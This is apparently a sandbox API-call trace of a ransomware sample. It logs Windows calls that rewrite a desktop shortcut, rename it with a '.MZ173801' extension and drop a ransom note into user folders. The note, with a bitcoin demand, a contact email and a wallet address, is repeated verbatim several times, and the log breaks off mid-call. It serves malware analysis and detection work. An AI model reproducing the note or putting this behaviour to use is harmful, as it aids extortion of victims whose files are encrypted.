lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0145.226] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0145.228] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x29c [0145.228] ReadFile (in: hFile=0x29c, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x485, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x485, lpOverlapped=0x0) returned 1 [0145.230] CloseHandle (hObject=0x29c) returned 1 [0145.230] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x29c [0145.232] WriteFile (in: hFile=0x29c, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x485, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x485, lpOverlapped=0x0) returned 1 [0145.233] CloseHandle (hObject=0x29c) returned 1 [0145.233] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk"), lpNewFileName="C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk.MZ173801" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk.mz173801")) returned 1 [0145.235] FindClose (in: hFindFile=0x2fc680 | out: hFindFile=0x2fc680) returned 1 [0145.235] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*.*", lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa761dd40, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa761dd40, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x25bae6f2, dwReserved1=0xa03bf443, cFileName=".", cAlternateFileName="")) returned 0x2fc680 [0145.236] FindClose (in: hFindFile=0x2fc680 | out: hFindFile=0x2fc680) returned 1 [0145.236] GetSystemDefaultLangID () returned 0x2b0409 [0145.236] VerLanguageNameW (in: wLang=0x409, szLang=0x787430, cchLang=0xfa | out: szLang="English (United States)") returned 0x17 [0145.237] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb1c, csidl=8, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0145.238] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent")) returned 0x11 [0145.238] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb1c, csidl=8, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0145.238] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\How Do I Recover My Files (Readme).txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\how do i recover my files (readme).txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0145.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", cchWideChar=2498, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2498 [0145.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", cchWideChar=2498, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2498 [0145.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", cchWideChar=2498, lpMultiByteStr=0x798ef8, cbMultiByte=2498, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", lpUsedDefaultChar=0x0) returned 2498 [0145.240] WriteFile (in: hFile=0x224, lpBuffer=0x798ef8*, nNumberOfBytesToWrite=0x9c2, lpNumberOfBytesWritten=0x18fc8c, lpOverlapped=0x0 | out: lpBuffer=0x798ef8*, lpNumberOfBytesWritten=0x18fc8c*=0x9c2, lpOverlapped=0x0) returned 1 [0145.241] CloseHandle (hObject=0x224) returned 1 [0145.241] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb1c, csidl=39, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned 1 [0145.242] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures")) returned 0x11 [0145.242] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb1c, csidl=39, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned 1 [0145.242] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\How Do I Recover My Files (Readme).txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\how do i recover my files (readme).txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0145.242] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", cchWideChar=2498, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2498 [0145.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", cchWideChar=2498, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2498 [0145.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can 